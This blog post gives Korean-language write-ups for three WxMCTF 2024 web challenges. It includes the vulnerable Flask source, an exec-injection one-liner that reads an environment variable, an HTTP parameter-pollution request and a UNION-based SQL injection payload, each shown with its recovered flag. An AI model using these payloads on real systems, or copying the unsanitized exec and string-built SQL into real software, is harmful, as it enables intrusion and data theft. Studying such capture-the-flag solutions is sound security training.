WxM CTF 2024 Write-Ups

· omacs's blog

#writeup #ctf #wxmctf

# Contents

  1. Compiler
    1. Problem Description and Analysis
    2. Exploit
  2. Brawl: The Heist
    1. Problem Description and Analysis
    2. Exploit
  3. Nuclear Launch Codes
    1. Problem Description and Analysis
    2. Exploit
  4. References

# Compiler

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[1]:

Come check out this python compiler I made! Just don't look too far into it…

제시된 문제의 소스 코드를 확인해보면 사용자의 입력을 exec 함수로 실행함을 알 수 있다.

 1import os
 2from flask import Flask, render_template, request, jsonify
 3import sys
 4from io import StringIO
 5
 6app = Flask(__name__)
 7
 8@app.route('/')
 9def index():
10    return render_template('index.html')
11
12@app.route('/run', methods=['POST'])
13def submit():
14    data = request.form
15    code = data['code']
16    return render_template('index.html', result=run_code(code))
17
18def run_code(code):
19    # Redirect the output to a string
20    old_stdout = sys.stdout
21    redirected_output = sys.stdout = StringIO()
22
23    try:
24	# don't tell anyone...
25	exec(code)
26	sys.stdout = old_stdout
27    except Exception as e:
28	sys.stdout = old_stdout
29	return e
30
31    return redirected_output.getvalue()
32
33if __name__ == '__main__':
34    app.run(host='0.0.0.0', port=5000)

이때 사용자 입력에 대한 필터링이 없으므로 무엇이든 그것이 exec 함수로 실행할 수 있는 것이라면, 실행할 수 있다. 예를 들어, 다음과 같은 입력으로 파일 목록을 얻을 수 있다:

1print(__import__('os').listdir())

# Exploit

이 문제의 취약점은 상당히 잘 드러나있지만, 진짜 문제는 플래그를 어디서 찾아야 하는지 알아내는 것이다. 필자는 또다른 웹 문제인 "Brawl: The Heist"의 소스 코드를 보고 해결하였다.

 1import os
 2from flask import Flask, request, render_template, redirect
 3import requests
 4import json
 5app = Flask(__name__, static_url_path="/static")
 6
 7flag = os.environ.get("FLAG")
 8# this is so scuffed .-.
 9os.system("apachectl start")
10
11# ...

위 코드는 플래그를 환경변수에서 찾고 있음을 알 수 있다. 이를 본 문제에 적용하면,

1print(__import__('os').environ.get("FLAG"))

다음과 같이 플래그를 얻는다:

wxmctf{ok4Y_M4y8e_I_5K1mpED_@_bit}

다만, 이 문제에서 의도한 것은 주어진 Dockerfile에서 플래그에 대한 힌트를 얻는 것으로 보인다.

# Brawl: The Heist

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[2]:

After getting all of his brawlers to 500 trophies, Eatingfood has found himself in a pickle - there is a Fang on the opposing team every other match and he can no longer play the game! Luckily, he has a plan - to get enough gems to buy every brawler and hypercharge so he can get back to mindlessly mashing buttons and winning. Not wanting to wait and earn gems slowly by normal methods, he has resorted to some slightly more unethical means - uploading a virus into the Brawl Stars servers which would allow him to siphon gems from other players. However, the virus has an unexpected effect: it only allows him to transfer gems to other players. Can you find a way to get him enough gems so he can get back to mindlessly button mashing?

제시된 문제의 소스 코드를 확인해보면 "Eatingfood"라는 계정이 가진 돈을 일정 값 이상으로 만들었을 때 문제가 풀림을 알 수 있다.

 1import os
 2from flask import Flask, request, render_template, redirect
 3import requests
 4import json
 5app = Flask(__name__, static_url_path="/static")
 6
 7flag = os.environ.get("FLAG")
 8# this is so scuffed .-.
 9os.system("apachectl start")
10
11@app.route("/")
12def send_money():
13    response = requests.get("http://localhost:80/gateway.php").content
14    accounts = json.loads(response)
15    return render_template("send-money.html", data=accounts)
16
17@app.route("/check-balance", methods=["GET"])
18def check():
19    response = requests.get("http://localhost:80/gateway.php").content
20    accounts = json.loads(response)
21
22    if (accounts["Eatingfood"] < 0):
23	return render_template("check-balance.html", data=accounts, flag=":(")
24    if (accounts["Eatingfood"] >= 100000):
25	return render_template("check-balance.html", data=accounts, flag=flag)
26    return render_template("check-balance.html", data=accounts)
27
28@app.route("/send", methods=["POST"])
29def send_data():
30    raw_data = request.get_data()
31    recipient = request.form.get("recipient");
32    amount = request.form.get("amount");
33
34    if (amount == None or (not amount.isdigit()) or int(amount) < 0 or recipient == None or recipient == "Eatingfood"):
35	return redirect("https://media.tenor.com/UlIwB2YVcGwAAAAC/waah-waa.gif")
36
37    # Send the data to the Apache PHP server
38    raw_data = b"sender=Eatingfood&" + raw_data;
39    requests.post("http://localhost:80/gateway.php", headers={"content-type": request.headers.get("content-type")}, data=raw_data)
40    return redirect("/check-balance")
41
42if __name__ == "__main__":
43    app.run(host='0.0.0.0', port=5000)
 1<?php
 2if ($_SERVER["REQUEST_METHOD"] === "POST") {
 3    $json = file_get_contents('accounts.json');
 4    $json_data = json_decode($json,true);
 5
 6    $json_data[$_POST['recipient']] += $_POST['amount'];
 7    $json_data[$_POST['sender']] -= $_POST['amount'];
 8
 9    file_put_contents('accounts.json', json_encode($json_data));
10}
11
12if ($_SERVER["REQUEST_METHOD"] === "GET") {
13    echo file_get_contents('accounts.json');
14}
15?>

그런데 /send에서 amount parameter의 값을 조작하는 것만으로는 그 값을 확인하는 조건문으로 인해 풀 수 없다. 그리고 gateway.php에 직접 접근하는 방법도 사용할 수 없음을 쉽게 확인할 수 있다. 그럼 남은 방법은 parameter 값에 혼동을 주는 것이다.

# Exploit

상기의 /send가 전송하는 요청을 Burpsuite로 캡처하면 다음과 같다:

POST /send HTTP/2
Host: a71de03.678470.xyz
Content-Length: 32
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://a71de03.678470.xyz
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://a71de03.678470.xyz/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i

amount=0&recipient=Buddhathe18th

이때 같은 이름의 parameter를 다음과 같이 추가하여 전송하면,

POST /send HTTP/2
Host: a71de03.678470.xyz
Content-Length: 32
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://a71de03.678470.xyz
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://a71de03.678470.xyz/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i

amount=1000000000000&recipient=Buddhathe18th&sender=Buddhathe18th&recipient=Eatingfood

다음과 같은 플래그를 얻는다:

wxmctf{p4rAm373r_P0lLU7IOn}

# Nuclear Launch Codes

# Problem Description and Analysis

본 문제는 다음과 같이 제시된다[3]:

MGCI's cybersecurity club has hired you to test their site security for nuclear launch codes. Unfortunately, they forgot to give you any log-in credentials, and they haven't implemented registration features yet! Can you find the nuclear launch codes?

제시된 문제의 소스 코드를 확인하면 SQL Injection이 가능함을 알 수 있다.

 1from flask import Flask, render_template, request, jsonify, flash
 2import sqlite3
 3
 4app = Flask(__name__)
 5app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
 6
 7@app.route('/')
 8def index():
 9    return render_template('index.html')
10
11@app.route('/login_username', methods=['POST'])
12def login():
13    username = request.form['username']
14    conn = sqlite3.connect('users.db')
15    c = conn.cursor()
16    user_info = c.execute(f"SELECT username FROM users WHERE username='{username}'").fetchall()
17    if not user_info:
18	flash('Who are you?', 'error')
19    else:
20	flash(f'Welcome back, {user_info}', 'success')
21    return render_template('index.html')
22
23
24if __name__ == '__main__':
25    app.run(host='0.0.0.0', port=5000)

비록 위 코드에서 app.secretkey를 설정하고 있지만, 이 문제는 session storage를 사용하고 있지 않으므로 관심 대상이 아니다.

# Exploit

본 문제에서 주어진 파일 중 user.db 파일을 DB browser로 열어보면 users라는 테이블에 username과 password가 있음을 알 수 있다. 이에 다음과 같이 SQL Injection payload를 입력하면 (&#x2013; 뒤에 공백이 있어야 함에 주의하라),

haha' or '1'='1' union select password from users -- 

다음과 같은 플래그를 얻는다:

Welcome back, [('Alice',), ('Bob',), ('Charlie',), ('David',), 
('Eve',), ('_l4nch_c0d35}',), ('_n0_nucl34r',), ('_th3r3_4r3',), 
('j0k35_0n_y0u',), ('wxmctf{',)]

# References

  1. "WxMCTF '24 Web 2 - Compiler," MCTF. [Online]. Available: https://ctf.mcpt.ca/problems/, [Accessed Mar. 10, 2024].
  2. "WxMCTF '24 Web 3 - Brawl: The Heist," MCTF. [Online]. Available: https://ctf.mcpt.ca/problems/, [Accessed Mar. 10, 2024].
  3. "WxMCTF '24 Web 5 - Nuclear Launch Codes," MCTF. [Online]. Available: https://ctf.mcpt.ca/problems/, [Accessed Mar. 10, 2024].